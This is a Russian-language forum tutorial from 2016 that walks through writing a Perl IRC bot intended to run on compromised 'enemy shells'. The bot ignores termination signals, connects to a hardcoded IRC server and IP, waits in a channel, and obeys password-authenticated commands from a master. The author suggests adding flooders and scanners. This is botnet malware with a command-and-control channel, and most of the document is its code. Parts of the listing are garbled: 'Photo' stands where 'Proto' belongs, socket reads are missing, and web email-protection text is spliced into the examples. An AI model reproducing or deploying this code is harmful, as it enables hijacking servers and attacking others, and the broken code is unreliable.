Боевой бот для irc на perl
Автор: NopGod 03.12.2016 15:59
Долой вступление, перейдем к делу. Напишем основное тело бота, оно будет висеть на канале и ждать команды. Для начала подключим модуль IO::Socket.
use IO::Socket;
Так как наш боевой и укомплектованный бот будет находиться на вражеский шеллах, его надо запускать фоном. Для этого пропишем никому неведомый код:
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
chdir("/");
$| = 1;
Далее идет кусок конфигурации бота:
$serv='rudvs.org.ru'; #Имя сервера для пинг-понга(не стал обрабатывать это програмно)
$sname = '188.120.225.226'; #Ip или адрес сервера на котором будем сидеть
$sport = 6667; #Собственно порт сервера
$username = mnick(5); #Юзернейм нашего бота, здесь вызываем процедуру генерации буковок
$identname = mnick(5); #Идент
$infoclient = 'mIRC 3.1'; #Инфо
$join = '#bot'; #Канал на который бот зайдет и будет сидеть
$nick = mnick(5); #Ник бота
$key = '123321'; #Ключ к каналу $join, если хозяин вздумает запереть канал
$pwd = 'BTR69'; #Пароль для авторизации бота
$master='null'; #Имя хозяина бота по умолчанию
Теперь наш бот приобрел облик и цели в жизни. Все что осталось сделать это показать куда идти и дать ему пинка под зад:
$server=IO::Socket::INET->new(
PeerAddr => $sname,
PeerPort => $sport,
Photo => tcp) || die print "Unable to connect to $sname:$sport\n";
Пытаемся создать сокет, если есть какие то проблемы, то умираем(не путать с эмо-ботом).
После того как мы постучали на сервер, нам надо представиться. На перле это делается особенно интересно:
print $server "nick $nick\n";
print $server "user $username $identname super :$infoclient\n";
Здесь мы отсылаем данные серверу из своей конфигурации. После того как сервер
нас признал, он выдаст кучу бесполезной информации, нам остается только
притихнуть и ждать всего одну значимую строчку "End of /MOTD". Мы будем
тихо сидеть и смотреть что нам пишет сервер:
while (not($response =~/376/i)){
$response=;
print $server "join $join $key\n";
}
Программа попадает в цикл и не выйдет из него пока в ответе сервера не попадется
число 376. Это код сообщающий о том, что сервер готов принимать наши
команды. К слову сказать это число может меняться в зависимости от
сервера.
Далее начинается само тело бота. Оно будет представлять бесконечный цикл.
Первое что будем делать в цикле - это обрабатывать все что нам сказал
сервер:
con:; #Метка для нашего цикла
$response=; #Помещаем ответ сервера в переменную
chomp ($response); #Удаляем символ конца строки
@otmessage=split(/ /,$response); #Разбиваем строчку на слова между которыми есть пробел и заносим в массив @otmessage
Строчка с сообщением на сервере выглядит так:
:NopGod!
Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript
PRIVMSG #bot :Hi
После наших манипуляций получается следующее содержание массива @otmessage :
$otmessage[0] = :NopGod!
Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript
$otmessage[1] = PRIVMSG
$otmessage[2] = #bot
$otmessage[3] = :Hi
Теперь возьмем первый элемент массива и попробуем вырезать ник человека который написал сообщение:
@sp=split(/\!/,$otmessage[0]);
Мы разбили строчку :NopGod!
Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript
на две части - до символа "!" и после и поместили в массив @sp, теперь он выглядит так:
$sp[0] = :NopGod
$sp[1] =
Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript
Осталось только удалить ненужный символ и поместить в переменную ник отправителя:
$sp[0] =~s/://g;
$unick = $sp[0];
И тоже самое делаем с названием канала котором это сообщение написано:
$chan=$otmessage[2];
Делается это для удобства. Тем же для кого важны пару тактов в скорости могут на это забить и пользоватся корявыми названиями $sp[0] и $otmessage[2].
Далее начнем обрабатывать команды которые бот найдет в ответе сервера(напомню что мы парсим все это дело и помещаем в переменную $response ).
Для начала устроим пинг-понг чтобы бот не отвалился через минуту после коннекта:
if ($response=~/PING \:$serv/i) {
print $server "PONG :$serv\n";
goto now;
}
Если в строчке находим слово PING с названием сервера, то пишем напрямую в сокет PONG.
Для тех же скоростных людей можно реализовать подругому:
if ($response=~/PING \:(.*)/i) {
print $server "PONG :$1\n";
goto now;
}
При таком подходе первая строчка в конфигурации не нужна.
Затем зделаем некое подобие авторизации:
if ($response=~/\^lg+(.*)/i) {
if ($1 eq $pwd){
print $server "PRIVMSG $chan :[!]Pwd accepted...\n";
$master=$unick;
$login=1;
goto now;
} else {
$login=0;
$master='null';
}
}
При команде ^lg BTR69 бот запоминает хозяина и поднимает флаг $login. В пративном случае забывает хозяина и обускает флаг.
Следующая команда для примера будет переименововать бота. Бесполезный, но наглядный пример:
if ($response=~/\*ch/i and $login == 1) {
$nick = mnick(5);
print $server "NICK $nick\n";
goto now;
}
Здесь уже два условия для выполнения - это наличие команды *ch и поднятый флаг авторизации. Если эти условия выполняются, то вызывается функция mnick() (код которой будет ниже), посылается команда серверу и переходим на метку now;
Здесь вы можете дабавить различные флудеры, сканеры и другие полезные вещи.
И наконец функция mnick():
sub mnick {
my $nres;
while (length $nres != $_[0]) {
foreach my $nrand (a..z) {
if (int rand 20 == 5) {
$nres .= $nrand;
last;
}
}
}
return $nres;
}
В функцию посылается параметр и забивается переменная $nres случайными буквами из диапозона (a..z)
И в заключении зацикливыем это все:
now:;
sleep(1);
goto con;
Из каждого блока с командой для бота программа переходит на метку now:; где засыпает на секунду и возвращается в начало цикла. Пауза в секунду нужна чтобы не загружать сервер.
Полный листинг и обсуждение на форуме - http://rudvs.org.ru/forum/index.php?topic=20.0
Удачи!